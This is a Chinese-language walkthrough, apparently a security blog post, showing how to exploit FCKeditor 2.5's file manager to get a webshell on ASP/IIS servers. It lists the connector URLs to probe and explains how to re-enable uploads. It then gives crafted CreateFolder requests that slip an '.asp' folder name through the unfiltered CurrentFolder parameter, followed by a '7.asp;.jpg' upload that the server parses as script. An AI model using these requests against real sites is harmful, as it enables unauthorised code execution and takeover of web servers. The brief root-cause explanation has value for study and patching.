FCKeditor编辑器:


🚗可以去这下载编辑器:***.com

该编辑器基础

  1. 查看编辑器版本 路径:FCKeditor/_whatsnew.html
  2. FCKeditor编辑器页
    路径:FCKeditor/_samples/default.html
  3. 常用上传地址 ```url FCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp

    FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/

    FCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp

    FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=../../connectors/asp/connector.asp ```

由于这里用的是2.5的版本所以下面这条语句能用

***.com

如果在输入以上地址测试的过程中弹出提示‘’‘this connector is disabled,please check the xxx file ’, 那就是没有开启文件上传功能,需要开启

# 文件路径
\editor\filemanager\connectors\asp\config.asp

#参数
Dim ConfigIsEnabled
ConfigIsEnabled = False

FCKeditor漏洞利用方法→文件上传漏洞

先来到前文所指的后台页面

漏洞利用

  1. 新建文件夹captain.asp 被系统改为captain_asp,这就是fckeditor过滤"."为"_"的一个机制,
  2. 想要突破的话采用绝对路径的方式创建文件夹,直接绕过函数。 执行以下地址就能成功创建文件夹 /editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=/fendo7777.asp&NewFolderName=xx.asp
  3. 然后我们再上传7.asp;.jpg到fendo7777.asp文件下看是否成功解析

  4. 上传成功后,访问该文件,默认文件路径如下,已经成功获取webshell ***.com

漏洞原因

为什么手动不能创建,而通过以上地址就能成功创建了,对比下手动创建和通过以上地址创建的一个区别。

#漏洞地址:
/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=/fendo7777.asp&NewFolderName=x.asp

#手工新建:
/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=/&NewFolderName=captain.asp

原因: CurrentFolder:当前文件夹 未进行过滤(这个文件夹下的没有过滤) NewFolderName:新建文件名 进行了过滤